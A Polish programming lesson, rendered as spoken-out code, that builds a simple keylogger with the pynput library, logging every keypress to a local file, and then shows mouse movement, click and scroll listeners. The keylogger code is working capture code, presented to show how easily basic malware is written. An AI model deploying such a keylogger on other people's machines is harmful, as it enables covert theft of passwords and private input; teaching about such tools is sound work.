Implementacja prostego keyloggera

Do implementacji przykładowego keyloggera wykorzystamy zewnętrzną bibliotekę pynputbiblioteka pynputpynput. Za jej pomocą w prosty sposób można sterować działaniami wykonywanymi przez urządzenia wejściowe takie jak klawiatura i mysz. Instalacja biblioteki odbywa się za sprawą następującego polecenia:

Linia 1. pip install pynput.

Biblioteka ta zawiera osobne moduły do wykrywania działań wykonywanych na klawiaturze i myszy, które możemy zaimportować, używając poniższych formuł:

Linia 1. kratka Zawiera klasy do kontorolowania i monitorowania klawiatury. Linia 2. from pynput import keyboard. Linia 4. kratka Zawiera klasy do kontorolowania i monitorowania myszy. Linia 5. from pynput import mouse.

Wykorzystajmy tę bibliotekę do wykrywania naciśnięcia klawiszy na klawiaturze. Aby zapisać przechwycone informacje, użyjemy wewnętrznego modułu logging. Kod keyloggera wgląda następująco:

Linia 1. kratka Najpierw importujemy potrzebne moduły dotyczące monitorowania klawiatury użytkownika. Linia 2. from pynput kropka keyboard import Listener. Linia 3. import logging. Linia 5. kratka Następnie ustawiamy ścieżkę do zapisu informacji. Linia 6. plik podkreślnik zapisu znak równości r cudzysłów C dwukropek prawy ukośnik temp prawy ukośnik logfile kropka txt cudzysłów. Linia 8. kratka Ustawiamy opcje zapisu za pomocą modułu logging. Linia 9. logging kropka basicConfig otwórz nawias okrągły. Linia 10. filename znak równości plik podkreślnik zapisu przecinek level znak równości logging kropka DEBUG. Linia 11. zamknij nawias okrągły. Linia 13. kratka Definiujemy funkcję przecinek która zostanie uruchomiona przy każdym naciśnieciu klawisza klawiatury przez użytkownika. Linia 14. def przechwyc otwórz nawias okrągły znak zamknij nawias okrągły dwukropek. Linia 15. logging kropka info otwórz nawias okrągły str otwórz nawias okrągły znak zamknij nawias okrągły zamknij nawias okrągły. Linia 17. kratka Inicjalizujemy Listener przecinek czyli nasłuchiwacz przecinek który będzie śledził działania użytkownika. Linia 18. kratka w razie oczekiwanej przez nas rekacji otwórz nawias okrągły w tym przypadku naciśniecia dowolnego klawisza kalwiatury zamknij nawias okrągły. Linia 19. kratka będzie wywoływał funkcję i zbierał dane otwórz nawias okrągły jakie klawisze zostały użyte zamknij nawias okrągły. Linia 20. with Listener otwórz nawias okrągły on podkreślnik press znak równości przechwyc zamknij nawias okrągły as nasluchiwacz dwukropek. Linia 21. nasluchiwacz kropka join otwórz nawias okrągły zamknij nawias okrągły.

Gdy uruchomimy program, po każdym naciśnięciu klawiatury do pliku będzie zapisywana nowa linia zawierająca naciśnięty symbol.

Powyższy keylogger jest oczywiście bardzo podstawowy i najprawdopodobniej zostanie od razu wykryty przez jakikolwiek program antywirusowy. Celem powyższej implementacji jest zaprezentowanie, jak niewiele potrzeba do napisania prostego złośliwego oprogramowania.

Śledzenie i kontrola myszy przy użyciu biblioteki pynput

Zaimplementujmy teraz przykładowy moduł służący do kontroli myszy.

Rozpoczynamy od pobrania biblioteki pynput (jeśli nie zrobiliśmy tego w poprzednim przykładzie) i odpowiedniego modułu:

Linia 1. from pynput import mouse.

Następnie tworzymy obiekt klasy Listener (nasłuchujący zdarzenia – w analizowanym przykładzie będzie to ruch myszą przez użytkownika) i aktywujemy go funkcją start():

Linia 1. from pynput import mouse. Linia 3. nasluchiwacz znak równości mouse kropka Listener otwórz nawias okrągły zamknij nawias okrągły. Linia 4. nasluchiwacz kropka start otwórz nawias okrągły zamknij nawias okrągły.

Teraz tworzymy puste wejście:

Linia 1. from pynput import mouse. Linia 3. nasluchiwacz znak równości mouse kropka Listener otwórz nawias okrągły zamknij nawias okrągły. Linia 4. nasluchiwacz kropka start otwórz nawias okrągły zamknij nawias okrągły. Linia 6. end znak równości input otwórz nawias okrągły zamknij nawias okrągły.

Zgodnie z dokumentacją biblioteki każde zdarzenie, które chcemy przechwycić (ruch myszy, scrollowanie, kliknięcie myszką), musi mieć w pierwszej kolejności zdefiniowaną funkcję.

Na początku zobaczmy to na przykładzie funkcji monitorującej ruch myszy, która ma dwa parametry – są to współrzędne kursora (x oraz y), które wskazują na aktualną pozycję:

Linia 1. def ruch otwórz nawias okrągły x przecinek y zamknij nawias okrągły dwukropek. Linia 2. print otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y zamknij nawias okrągły.

Uzupełniamy kod o zdefiniowaną funkcję i dodajemy ją do obiektu klasy Listener, który nasłuchuje i zbiera określone w kodzie wydarzenia (w tym przypadku jest to ruch myszą) do momentu ich zaprzestania przez użytkownika.

Linia 1. from pynput import mouse. Linia 3. kratka Definicja funkcji śledzącej ruchy myszką wykonane przez użytkownika. Linia 4. def ruch otwórz nawias okrągły x przecinek y zamknij nawias okrągły dwukropek. Linia 5. print otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y zamknij nawias okrągły. Linia 7. kratka Nasłuchujemy przecinek co robi użytkownik. Linia 8. nasluchiwacz znak równości mouse kropka Listener otwórz nawias okrągły. Linia 9. kratka Wywołujemy zdefiniowaną funkcję za każdym razem przecinek kiedy zostanie wykonany ruch myszą. Linia 10. on podkreślnik move znak równości ruch. Linia 11. zamknij nawias okrągły. Linia 12. nasluchiwacz kropka start otwórz nawias okrągły zamknij nawias okrągły. Linia 14. end znak równości input otwórz nawias okrągły zamknij nawias okrągły.

Za każdym razem, gdy ruszymy kursorem, powinny zostać wyświetlone współrzędne.

Kolejnym krokiem jest przygotowanie funkcji obsługującej zdarzenie kliknięcia przycisku myszy – funkcja ta ma następujące parametry:

  • współrzędne kursora xy,

  • rodzaj klikniętego przycisku przycisk,

  • informacja o wciśnięciu i zwolnieniu przycisku stan.

W ramach testu funkcja będzie wyświetlać wartości wszystkich parametrów.

Podobnie jak w przykładzie dotyczącym zbierania informacji o ruchu myszy, przy kliknięciu również dodajemy informacje do nasluchiwacza:

Linia 1. from pynput import mouse. Linia 3. def ruch otwórz nawias okrągły x przecinek y zamknij nawias okrągły dwukropek. Linia 4. print otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y zamknij nawias okrągły. Linia 6. def klik otwórz nawias okrągły x przecinek y przecinek przycisk przecinek stan zamknij nawias okrągły dwukropek. Linia 7. print otwórz nawias okrągły otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y przecinek przycisk przecinek stan zamknij nawias okrągły. Linia 9. nasluchiwacz znak równości mouse kropka Listener otwórz nawias okrągły. Linia 10. on podkreślnik move znak równości ruch przecinek. Linia 11. on podkreślnik click znak równości klik. Linia 12. zamknij nawias okrągły. Linia 13. nasluchiwacz kropka start otwórz nawias okrągły zamknij nawias okrągły. Linia 15. end znak równości input otwórz nawias okrągły zamknij nawias okrągły.

Ostatnim zdarzeniem, które spróbujemy monitorować, jest przewijanie rolki myszy. Funkcja dotycząca scrollowania ma poniższe parametry:

  • współrzędne myszy xy,

  • kierunek przewijania dxdy.

Parametry dx oraz dy przyjmują następujące wartości: 1 (przewijanie w górę), 0 (brak ruchu) lub -1 (przewijanie w dół).

Uwzględniając wcześniejsze przykłady, uzupełnijmy kod o funkcję śledzenia przewijania myszy przez użytkownika. Mamy tutaj dwa kroki: zdefiniowanie funkcji oraz dodanie jej do nasluchiwacza, który wywoła funkcję w momencie scrollowania przez użytkownika.

Linia 1. from pynput import mouse. Linia 3. def ruch otwórz nawias okrągły x przecinek y zamknij nawias okrągły dwukropek. Linia 4. print otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y zamknij nawias okrągły. Linia 6. def klik otwórz nawias okrągły x przecinek y przecinek przycisk przecinek stan zamknij nawias okrągły dwukropek. Linia 7. print otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y przecinek przycisk przecinek stan zamknij nawias okrągły. Linia 9. def przewijanie otwórz nawias okrągły x przecinek y przecinek dx przecinek dy zamknij nawias okrągły dwukropek. Linia 10. print otwórz nawias okrągły cudzysłów x dwukropek cudzysłów przecinek x przecinek cudzysłów y dwukropek cudzysłów przecinek y przecinek dx przecinek dy zamknij nawias okrągły. Linia 12. nasluchiwacz znak równości mouse kropka Listener otwórz nawias okrągły. Linia 13. on podkreślnik move znak równości ruch przecinek. Linia 14. on podkreślnik click znak równości klik przecinek. Linia 15. on podkreślnik scroll znak równości przewijanie. Linia 16. zamknij nawias okrągły. Linia 17. nasluchiwacz kropka start otwórz nawias okrągły zamknij nawias okrągły. Linia 19. end znak równości input otwórz nawias okrągły zamknij nawias okrągły.

logging

Moduł ten udostępnia mechanizm pozwalający na rejestrację w dziennikach różnego rodzaju informacji, które następnie mogą być dowolnie filtrowane i przetwarzane.

Słownik

biblioteka pynput
biblioteka pynput

zewnętrzna biblioteka umożliwiająca kontrolę i monitorowanie urządzeń wejściowych komputera takich jak mysz, klawiatura i wyświetlacz